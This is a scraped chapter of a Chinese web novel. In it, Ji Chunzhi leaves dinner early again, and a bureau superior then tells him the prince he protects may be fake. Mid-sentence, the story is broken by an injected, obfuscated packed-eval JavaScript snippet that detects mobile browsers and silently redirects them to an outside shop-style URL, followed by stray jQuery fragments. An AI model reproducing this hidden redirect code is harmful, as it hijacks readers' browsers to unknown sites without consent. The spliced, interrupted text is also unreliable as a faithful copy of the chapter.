文趣网 > 其他小说 > 绝望的文盲郑白绯 > 20. 第 20 章
    餐厅。菜还没上齐,季春之口袋里的小石头开始发烫。他站起身去了洗手间。

    郑白绯对这个发展感到有些熟悉:“他不会又有事要走吧?”

    郑九:“看样子可能是。”

    虽然郑白绯和郑九在私下里已经“划清界限”,但在季春之面前,两人还是保持着“好邻居”的关系,以便能更轻松地蹭到饭。

    片刻后,季春之匆匆赶回来,脸上的歉意压得他眉眼有些愁苦:“有点重要的事,我必须离开了,抱歉。”

    虽然是不同的餐厅,不同的座位,但这情形和上回简直分毫不差。

    他看向郑白绯的时候更加无奈。

    因为很不巧,这次请客他的理由是“上次有事离开很抱歉”。

    偏巧就在这时,服务员端着一碗面上来了,恰好是季春之点的那份。

    季春之的目光跟着那碗面:“我很快回来,给我留一份啊!”

    郑白绯业务熟练地把那碗面移到自己面前。

    热腾腾的蒸气上方还浮着季春之不舍的眼神,他的目光也跟着移到了她的面前。

    见季春之看向她,郑白绯冲他诚恳地道:“不要担心,我会帮你妥善解决你这份没人吃的面的。”

    季春之郁闷:“你看我是在担心吗?”

    此时,郑九又对季春之道:“等会你直接回家吧。”

    季春之陷入了沉默。

    怎么一个两个的,都那么默契地坑他呢?

    季春之走后,郑白绯和郑九对视一眼:“……”

    历史总是在重演。

    要是下次再发生类似的季春之请客必有事情的桥段,那就得考虑写入定律了。在这个世界上,牛顿的那几条定律都未必比这一条定律灵验。

    两人谁也没说什么,只是加快速度沉默地吃完饭。

    快吃完时,郑九忽然问她:“你什么时候应聘的门神?”

    郑白绯本能地反驳:“我没有。”

    等一下。

    她抬起头看向郑九。

    他正注视着她,脸上是一贯的淡淡的神色,却有些笑意。

    门神是什么意思?门神是在说她吗?是在说那幅画吗?那种抽象的门神画,怎么还是被认出来了?

    郑白绯矢口否认:“……那不是我!”

    郑九:“哦。”

    郑白绯对郑九的态度很不满意:“你重新说,我觉得你在阴阳怪气。你必须真心实意地承认你看错了,承认那张画上的不是我。”

    郑九顿了顿,道:“我认错人了,楼梯间和公寓外的画上的门神并不是你。”

    很不诚心。

    晚上睡觉的时候郑九最好能一只眼睛站岗一只眼睛休息。

    郑白绯:“我记住了,某年某月某日,仇怨一条。”

    *

    警文司澹沙湾分署的特殊会议室是个有些古怪的地方,它比一般的会议室小一些,装饰也令人摸不着头脑。天花板正中吊着一个木雕的虎头,瞪着两只铜铃大的眼,也不知是镇宅,还是单为了吓人。

    早些年还真有好事的人,用风水,用心理学,用七七八八的法子研究过这间会议室,研究来研究去,得出一个无聊透顶的结论:这会议室是成心修成这副样子的,为的就是让被叫进来的人坐不踏实。人一坐不踏实,话便说得快,会也就开得短。

    季春之被叫到这里,他坐下,果然开始觉得心里不踏实了。

    特殊会议室里还有两个人,一个玉青,一个蔡飞磊,都是他的死对头。

    玉青和蔡飞磊也没好到哪里去,心里同样觉得不踏实,七上八下的。

    三人在警文司培训期间是一个小组,闹过的矛盾比他们上司的头发丝还多。

    两两互为死对头的三人在同一个窄窄的会议室里等待着,墙壁上的挂钟都快被三道灼热的目光盯出了火花。

    不管三人怎么盯着挂钟,上司还是没有准时来到。

    收回目光的时候,季春之和蔡飞磊的目光相撞了。

    大约是为了缓解尴尬,蔡飞磊立刻把自己的表情摆成游刃有余的模样,嘲讽地开口:“季春之,你也有今天。”

    季春之回敬:“你不也坐在这里吗?”

    蔡飞磊皮笑肉不笑:“那不一样,很显然,你这个正在执行秘密任务的家伙被叫过来,一定没好事。”

    玉青懒洋洋地支起身子来,加入战局:“说得好像你坐在这里,轮到你的就是好事了一样,说不定也是一个烫手山芋。”

    吵架是这三人的舒适区。一吵起来,什么风水、什么心理学,统统抛到脑后。这会儿就算有人在桌子底下架起一口锅、生上火来炙烤他们的脚底板,三人也能视若无睹——毕竟,吵赢这一架,才是头等大事。

    就在三人吵得渐入佳境时,门开了。

    头发少少的上司推门走了进来。

    三人立刻噤声。

    上司是澹沙湾分署的二把手,手里拎着一个搪瓷缸子,缸子里泡着浓茶,他去哪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546999|204109||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里都带着这个心爱的搪瓷缸,仿佛他的本体是那个搪瓷缸一样:“你们都到了,那我直说了。”

    “季春之。”

    季春之下意识地抽紧了脊梁骨,他警惕地看向上司。

    “你的任务从今天起要变一下。”

    听到这句,蔡飞磊露出了轻蔑的表情,玉青则挑了挑眉毛。

    季春之不解。

    搪瓷缸上司继续道:“目前看来,你在保护的那位,似乎是假的。”

    一语既出,会议室内安静了瞬时。

    蔡飞磊霍地转头看向季春之,玉青流露出了“这下有好戏看了”的神色。

    季春之的脸色自然不会好看到哪里去,他想反驳:“不……”

    搪瓷缸上司打断了他:“先听我说完,别急着反驳。”

    “真正的那位已经在前来的路上了。到时候我会派蔡飞磊和玉青你们两个过去执行秘密保护的任务。”

    蔡飞磊的嘴角扬起来,尽显得意:“是。”

    玉青反而失去了散漫的玩味,她有点疲惫无奈地应道:“是。”

    搪瓷缸上司:“季春之如果以后遇到蔡飞磊和玉青,要配合他们。”

    蔡飞磊更加春风得意,他睨了季春之一眼。

    季春之没有和两位死对头吵架的心思,就连那两人流露出的明晃晃的嘲讽也没顾得上,他满心满眼都是另一件事。

    “到底是怎么回事?”

    搪瓷缸上司终于把手里的搪瓷缸放下了。

    “实际上到现在为止,我们都没法判断到底谁才是真正的皇子。皇室隐姓埋名游历向来都不会大肆声张,可这次两边给我们下达任务的都是议员。两名不同的议员,都说了是排行第九的皇子,其余流程上找不到一点破绽。”

    搪瓷缸里那一汪泡得黢黑的茶水,晃晃悠悠地荡起圈来。水面上忽明忽暗,映着墙上那口挂钟,映着天花板上那只木雕虎头,影子在黑水里一扭一曲,好像把这间屋子连同屋里的人,都揉进了一个看不见底的深潭,有几分阴森瘆人。

    季春之和玉青都若有所思地看向别处,就连刚才得意洋洋的蔡飞磊都收敛起了神色。

    “有可能两个都是真的,只是其中一名议员不小心说错了排行。”

    “有可能两个都是假的,是针对我们澹沙湾的阴谋。”

    “有可能一真一假。”

    “毕竟游历传统是不许带随行保镖,派地方分署保护,我们要尽到自己的责任。小心行事。”